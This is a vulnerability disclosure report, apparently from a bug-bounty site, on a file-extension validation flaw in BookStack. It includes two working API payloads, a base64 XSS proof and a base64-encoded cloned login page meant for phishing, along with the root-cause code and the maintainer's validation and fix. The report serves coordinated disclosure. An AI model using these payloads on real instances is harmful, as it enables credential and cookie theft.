Unrestricted Upload of File with Dangerous Type in bookstackapp/bookstack

Valid

Reported on

Oct 26th 2021


Description

The image extension validation service for Base64 image extraction in new Bookstack version is flawed as it uses the vulnerable trim function. This allows attackers to upload malicious files with broken extension, such as pngr, and browsers will interpret broken extension hosted on the server as HTML.

Payload 1

POST /api/pages
{
    "book_id": 1,
    "name": "My API Page",
    "html": "<img src='data:image/pngr;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>",
    "tags": [
        {"name": "Category", "value": "Not Bad Content"},
        {"name": "Rating", "value": "Average"}
    ]
}

See that the file is stored on the server, an attacker can send this file to others to perform reflected XSS. The CSP does not help because CSP is on application layer and hence not applied to static files.

Payload 2

POST /api/pages
{
    "book_id": 1,
    "name": "My API Page",
    "html": "<img src='data:image/png0r;base64,PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuLUdCIgogICAgICBkaXI9Imx0ciIKICAgICAgY2xhc3M9IiI+CjxoZWFkPgogICAgPHRpdGxlPkJvb2tTdGFjazwvdGl0bGU+CgogICAgPCEtLSBNZXRhIC0tPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCI+CiAgICA8bWV0YSBuYW1lPSJ0b2tlbiIgY29udGVudD0icDRsb1BIWXl3Tnk3MXd0cU1OYU1Cb1JLMFYwVTBla1ZFVUVFRWZjUCI+CiAgICA8bWV0YSBuYW1lPSJiYXNlLXVybCIgY29udGVudD0iaHR0cDovLzEwLjAuMi4xNSI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CgogICAgPCEtLSBTb2NpYWwgQ2FyZHMgTWV0YSAtLT4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzp0aXRsZSIgY29udGVudD0iQm9va1N0YWNrIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzp1cmwiIGNvbnRlbnQ9Imh0dHA6Ly8xMC4wLjIuMTUvbG9naW4iPgogICAgCiAgICA8IS0tIFN0eWxlcyBhbmQgRm9udHMgLS0+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHA6Ly8xMC4wLjIuMTUvZGlzdC9zdHlsZXMuY3NzP3ZlcnNpb249djIxLjEwIj4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgbWVkaWE9InByaW50IiBocmVmPSJodHRwOi8vMTAuMC4yLjE1L2Rpc3QvcHJpbnQtc3R5bGVzLmNzcz92ZXJzaW9uPXYyMS4xMCI+CgogICAgCiAgICA8IS0tIEN1c3RvbSBTdHlsZXMgJiBIZWFkIENvbnRlbnQgLS0+CiAgICA8c3R5bGUgaWQ9ImN1c3RvbS1zdHlsZXMiIGRhdGEtY29sb3I9IiMyMDZlYTciIGRhdGEtY29sb3ItbGlnaHQ9InJnYmEoMzIsMTEwLDE2NywwLjE1KSI+CiAgICA6cm9vdCB7CiAgICAgICAgLS1jb2xvci1wcmltYXJ5OiAjMjA2ZWE3OwogICAgICAgIC0tY29sb3ItcHJpbWFyeS1saWdodDogcmdiYSgzMiwxMTAsMTY3LDAuMTUpOwogICAgICAgIC0tY29sb3ItYm9va3NoZWxmOiAjYTk0NzQ3OwogICAgICAgIC0tY29sb3ItYm9vazogIzA3N2I3MDsKICAgICAgICAtLWNvbG9yLWNoYXB0ZXI6ICNhZjRkMGQ7CiAgICAgICAgLS1jb2xvci1wYWdlOiAjMjA2ZWE3OwogICAgICAgIC0tY29sb3ItcGFnZS1kcmFmdDogIzdlNTBiMTsKICAgIH0KPC9zdHlsZT4KICAgIAogICAgCiAgICA8IS0tIFRyYW5zbGF0aW9ucyBmb3IgSlMgLS0+CiAgICA8L2hlYWQ+Cjxib2R5IGNsYXNzPSIiPgoKICAgIDxhIGNsYXNzPSJweC1tIHB5LXMgc2tpcC10by1jb250ZW50LWxpbmsiIGhyZWY9IiNtYWluLWNvbnRlbnQiPlNraXAgdG8gbWFpbiBjb250ZW50PC9hPiAgICA8ZGl2IG5vdGlmaWNhdGlvbj0ic3VjY2VzcyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBkYXRhLWF1dG9oaWRlIGNsYXNzPSJwb3MiIHJvbGU9ImFsZXJ0IiA+CiAgICA8c3ZnIGNsYXNzPSJzdmctaWNvbiIgZGF0YS1pY29uPSJjaGVjay1jaXJjbGUiIHJvbGU9InByZXNlbnRhdGlvbiIgIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxwYXRoIGQ9Ik0wIDBoMjR2MjRIMHoiIGZpbGw9Im5vbmUiLz4KICAgIDxwYXRoIGQ9Ik0xMiAyQzYuNDggMiAyIDYuNDggMiAxMnM0LjQ4IDEwIDEwIDEwIDEwLTQuNDggMTAtMTBTMTcuNTIgMiAxMiAyem0tMiAxNWwtNS01IDEuNDEtMS40MUwxMCAxNC4xN2w3LjU5LTcuNTlMMTkgOGwtOSA5eiIvPgo8L3N2Zz4gPHNwYW4+PC9zcGFuPjxkaXYgY2xhc3M9ImRpc21pc3MiPjxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249ImNsb3NlIiByb2xlPSJwcmVzZW50YXRpb24iICB2aWV3Qm94PSIwIDAgMjQgMjQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgICA8cGF0aCBkPSJNMTkgNi40MUwxNy41OSA1IDEyIDEwLjU5IDYuNDEgNSA1IDYuNDEgMTAuNTkgMTIgNSAxNy41OSA2LjQxIDE5IDEyIDEzLjQxIDE3LjU5IDE5IDE5IDE3LjU5IDEzLjQxIDEyeiIvPgogICAgPHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPgo8L3N2Zz48L2Rpdj4KPC9kaXY+Cgo8ZGl2IG5vdGlmaWNhdGlvbj0id2FybmluZyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBjbGFzcz0id2FybmluZyIgcm9sZT0iYWxlcnQiID4KICAgIDxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249ImluZm8iIHJvbGU9InByZXNlbnRhdGlvbiIgIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxwYXRoIGQ9Ik0wIDBoMjR2MjRIMHoiIGZpbGw9Im5vbmUiLz4KICAgIDxwYXRoIGQ9Ik0xMSAxN2gydi02aC0ydjZ6bTEtMTVDNi40OCAyIDIgNi40OCAyIDEyczQuNDggMTAgMTAgMTAgMTAtNC40OCAxMC0xMFMxNy41MiAyIDEyIDJ6bTAgMThjLTQuNDEgMC04LTMuNTktOC04czMuNTktOCA4LTggOCAzLjU5IDggOC0zLjU5IDgtOCA4ek0xMSA5aDJWN2gtMnYyeiIvPgo8L3N2Zz4gPHNwYW4+PC9zcGFuPjxkaXYgY2xhc3M9ImRpc21pc3MiPjxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249ImNsb3NlIiByb2xlPSJwcmVzZW50YXRpb24iICB2aWV3Qm94PSIwIDAgMjQgMjQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgICA8cGF0aCBkPSJNMTkgNi40MUwxNy41OSA1IDEyIDEwLjU5IDYuNDEgNSA1IDYuNDEgMTAuNTkgMTIgNSAxNy41OSA2LjQxIDE5IDEyIDEzLjQxIDE3LjU5IDE5IDE5IDE3LjU5IDEzLjQxIDEyeiIvPgogICAgPHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPgo8L3N2Zz48L2Rpdj4KPC9kaXY+Cgo8ZGl2IG5vdGlmaWNhdGlvbj0iZXJyb3IiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgY2xhc3M9Im5lZyIgcm9sZT0iYWxlcnQiID4KICAgIDxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249ImRhbmdlciIgcm9sZT0icHJlc2VudGF0aW9uIiAgdmlld0JveD0iMCAwIDI0IDI0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPHBhdGggZD0iTTE1LjczIDNIOC4yN0wzIDguMjd2Ny40Nkw4LjI3IDIxaDcuNDZMMjEgMTUuNzNWOC4yN0wxNS43MyAzek0xMiAxNy4zYy0uNzIgMC0xLjMtLjU4LTEuMy0xLjMgMC0uNzIuNTgtMS4zIDEuMy0xLjMuNzIgMCAxLjMuNTggMS4zIDEuMyAwIC43Mi0uNTggMS4zLTEuMyAxLjN6bTEtNC4zaC0yVjdoMnY2eiIvPgogICAgPHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPgo8L3N2Zz4gPHNwYW4+PC9zcGFuPjxkaXYgY2xhc3M9ImRpc21pc3MiPjxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249ImNsb3NlIiByb2xlPSJwcmVzZW50YXRpb24iICB2aWV3Qm94PSIwIDAgMjQgMjQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgICA8cGF0aCBkPSJNMTkgNi40MUwxNy41OSA1IDEyIDEwLjU5IDYuNDEgNSA1IDYuNDEgMTAuNTkgMTIgNSAxNy41OSA2LjQxIDE5IDEyIDEzLjQxIDE3LjU5IDE5IDE5IDE3LjU5IDEzLjQxIDEyeiIvPgogICAgPHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPgo8L3N2Zz48L2Rpdj4KPC9kaXY+CiAgICA8aGVhZGVyIGlkPSJoZWFkZXIiIGNvbXBvbmVudD0iaGVhZGVyLW1vYmlsZS10b2dnbGUiIGNsYXNzPSJwcmltYXJ5LWJhY2tncm91bmQiPgogICAgPGRpdiBjbGFzcz0iZ3JpZCBteC1sIj4KCiAgICAgICAgPGRpdj4KICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovLzEwLjAuMi4xNSIgY2xhc3M9ImxvZ28iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGNsYXNzPSJsb2dvLWltYWdlIiBzcmM9Imh0dHA6Ly8xMC4wLjIuMTUvbG9nby5wbmciIGFsdD0iTG9nbyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibG9nby10ZXh0Ij5Cb29rU3RhY2s8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIgogICAgICAgICAgICAgICAgICAgIHJlZnM9ImhlYWRlci1tb2JpbGUtdG9nZ2xlQHRvZ2dsZSIKICAgICAgICAgICAgICAgICAgICB0aXRsZT0iRXhwYW5kIEhlYWRlciBNZW51IgogICAgICAgICAgICAgICAgICAgIGFyaWEtZXhwYW5kZWQ9ImZhbHNlIgogICAgICAgICAgICAgICAgICAgIGNsYXNzPSJtb2JpbGUtbWVudS10b2dnbGUgaGlkZS1vdmVyLWwiPjxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249Im1vcmUiIHJvbGU9InByZXNlbnRhdGlvbiIgIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxwYXRoIGQ9Ik0wIDBoMjR2MjRIMHoiIGZpbGw9Im5vbmUiLz4KICAgIDxwYXRoIGQ9Ik0xMiA4YzEuMSAwIDItLjkgMi0ycy0uOS0yLTItMi0yIC45LTIgMiAuOSAyIDIgMnptMCAyYy0xLjEgMC0yIC45LTIgMnMuOSAyIDIgMiAyLS45IDItMi0uOS0yLTItMnptMCA2Yy0xLjEgMC0yIC45LTIgMnMuOSAyIDIgMiAyLS45IDItMi0uOS0yLTItMnoiLz4KPC9zdmc+PC9idXR0b24+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImZsZXgtY29udGFpbmVyLXJvdyBqdXN0aWZ5LWNlbnRlciBoaWRlLXVuZGVyLWwiPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0LXJpZ2h0Ij4KICAgICAgICAgICAgPG5hdiByZWZzPSJoZWFkZXItbW9iaWxlLXRvZ2dsZUBtZW51IiBjbGFzcz0iaGVhZGVyLWxpbmtzIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxpbmtzIHRleHQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwOi8vMTAuMC4yLjE1L2xvZ2luIj48c3ZnIGNsYXNzPSJzdmctaWNvbiIgZGF0YS1pY29uPSJsb2dpbiIgcm9sZT0icHJlc2VudGF0aW9uIiAgdmlld0JveD0iMCAwIDI0IDI0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPgogICAgPHBhdGggZD0iTTIxIDMuMDFIM2MtMS4xIDAtMiAuOS0yIDJWOWgyVjQuOTloMTh2MTQuMDNIM1YxNUgxdjQuMDFjMCAxLjEuOSAxLjk4IDIgMS45OGgxOGMxLjEgMCAyLS44OCAyLTEuOTh2LTE0YzAtMS4xMS0uOS0yLTItMnpNMTEgMTZsNC00LTQtNHYzSDF2MmgxMHYzeiIvPgo8L3N2Zz5Mb2cgaW48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CgogICAgPC9kaXY+CjwvaGVhZGVyPgoKICAgIDxkaXYgaWQ9ImNvbnRlbnQiIGNvbXBvbmVudHM9IiIgY2xhc3M9ImJsb2NrIj4KICAgICAgICAKICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciB2ZXJ5LXNtYWxsIj4KCiAgICAgICAgPGRpdiBjbGFzcz0ibXktbCI+Jm5ic3A7PC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgY29udGVudC13cmFwIGF1dG8taGVpZ2h0Ij4KICAgICAgICAgICAgPGgxIGNsYXNzPSJsaXN0LWhlYWRpbmciPkxvZyBJbjwvaDE+CgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249Imh0dHA6Ly8xMC4wLjIuMTUvbG9naW4iIG1ldGhvZD0iUE9TVCIgaWQ9ImxvZ2luLWZvcm0iIGNsYXNzPSJtdC1sIj4KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Il90b2tlbiIgdmFsdWU9InA0bG9QSFl5d055NzF3dHFNTmFNQm9SSzBWMFUwZWtWRVVFRUVmY1AiPgoKICAgIDxkaXYgY2xhc3M9InN0cmV0Y2gtaW5wdXRzIj4KICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iZW1haWwiPkVtYWlsPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGlkPSJlbWFpbCIgbmFtZT0iZW1haWwiCiAgICAgICAgICAgICAgICAgICAgICBhdXRvZm9jdXMgICAgICAgICAgICAgICAgICAgICAgPgogICAgICAgIDwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0icGFzc3dvcmQiPlBhc3N3b3JkPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBpZD0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzbWFsbCBtdC1zIj4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHA6Ly8xMC4wLjIuMTUvcGFzc3dvcmQvZW1haWwiPkZvcmdvdCBQYXNzd29yZD88L2E+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgPGRpdiBjbGFzcz0iZ3JpZCBoYWxmIGNvbGxhcHNlLXhzIGdhcC14bCB2LWNlbnRlciI+CiAgICAgICAgPGRpdiBjbGFzcz0idGV4dC1sZWZ0IG1sLXh4cyI+CiAgICAgICAgICAgIDxsYWJlbCBjdXN0b20tY2hlY2tib3ggY2xhc3M9InRvZ2dsZS1zd2l0Y2ggIj4KICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icmVtZW1iZXIiIHZhbHVlPSJvbiIgPgogICAgPHNwYW4gdGFiaW5kZXg9IjAiIHJvbGU9ImNoZWNrYm94IgogICAgICAgICAgYXJpYS1jaGVja2VkPSJmYWxzZSIKICAgICAgICAgIGNsYXNzPSJjdXN0b20tY2hlY2tib3ggdGV4dC1wcmltYXJ5Ij48c3ZnIGNsYXNzPSJzdmctaWNvbiIgZGF0YS1pY29uPSJjaGVjayIgcm9sZT0icHJlc2VudGF0aW9uIiAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMjQgMjQiPjxwYXRoIGQ9Ik0xOC44NiA0LjExOGwtOS43MzMgOS42MDktMy45NTEtMy45OTUtMi45OCAyLjk2NiA2LjkzIDcuMTg0TDIxLjgwNSA3LjIxN3oiLz48L3N2Zz48L3NwYW4+CiAgICA8c3BhbiBjbGFzcz0ibGFiZWwiPlJlbWVtYmVyIE1lPC9zcGFuPgo8L2xhYmVsPiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9InRleHQtcmlnaHQiPgogICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24iPkxvZyBJbjwvYnV0dG9uPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cgo8L2Zvcm0+CgoKCiAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgPC9kaXY+CgogICAgCiAgICA8ZGl2IGJhY2stdG8tdG9wIGNsYXNzPSJwcmltYXJ5LWJhY2tncm91bmQgcHJpbnQtaGlkZGVuIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICAgIDxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249ImNoZXZyb24tdXAiIHJvbGU9InByZXNlbnRhdGlvbiIgIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxwYXRoIGQ9Ik03LjQxIDE1LjQxTDEyIDEwLjgzbDQuNTkgNC41OEwxOCAxNGwtNi02LTYgNnoiLz4KICAgIDxwYXRoIGQ9Ik0wIDBoMjR2MjRIMHoiIGZpbGw9Im5vbmUiLz4KPC9zdmc+IDxzcGFuPkJhY2sgdG8gdG9wPC9zcGFuPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgICAgIDxzY3JpcHQgc3JjPSJodHRwOi8vMTAuMC4yLjE1L2Rpc3QvYXBwLmpzP3ZlcnNpb249djIxLjEwIiBub25jZT0ielZJQ005ZGYxM203NERHOUFjenVGQ1NkIj48L3NjcmlwdD4KICAgIAo8L2JvZHk+CjwvaHRtbD4K'>",
    "tags": [
        {"name": "Category", "value": "Not Bad Content"},
        {"name": "Rating", "value": "Average"}
    ]
}

This creates a phishing page on the server, we can modify where the credentials are sent to if we want

Root Cause

There is a subtle difference between single-quoted strings (literals) and double-quoted strings. In double-quoted strings \r\n will be interpreted as carriage-return and newline, but in single-quoted literals the characters will be interpreted as-is. Bookstack uses the trim function with only single-quoted string, so attackers can bypass the file validation check.

in_array(trim($extension, '. \t\n\r\0\x0B'), static::$supportedExtensions);

So if the $extension = pngr, then the trim function will strip the 'r' character so that it becomes png and thus gets validated.

Impact

An attacker with page edit permissions can upload files to:

1: Host phishing pages and obtain password of admin users

2: Javascript execution (XSS) to get the cookie.

We have contacted a member of the bookstackapp/bookstack team and are waiting to hear back a month ago
We have contacted a member of the bookstackapp/bookstack team and are waiting to hear back a month ago
haxatron submitted a
a month ago
haxatron
a month ago

Researcher


fix located here: https://github.com/Haxatron/BookStack/commit/64937ab826b56d086af9ecea532510d37520ebc8

haxatron modified their report
a month ago
haxatron modified their report
a month ago
haxatron modified their report
a month ago
Dan Brown validated this vulnerability a month ago
haxatron has been awarded the disclosure bounty
The fix bounty is now up for grabs
Dan Brown
a month ago

Maintainer


Thanks once again @haxatron. Good spot, That's what I get for paying more attention to syntax standards.

Fix looks good of course, will confirm that off when ready to deploy the update with the fix. Just want to keep it relatively private until then.

haxatron
a month ago

Researcher


No problem! Thanks for reviewing this report!

Dan Brown confirmed that a fix has been merged on 64937a a month ago
haxatron has been awarded the fix bounty
ImageRepo.php#L41 has been validated
Jamie Slome
a month ago

Admin


CVE published! 🎊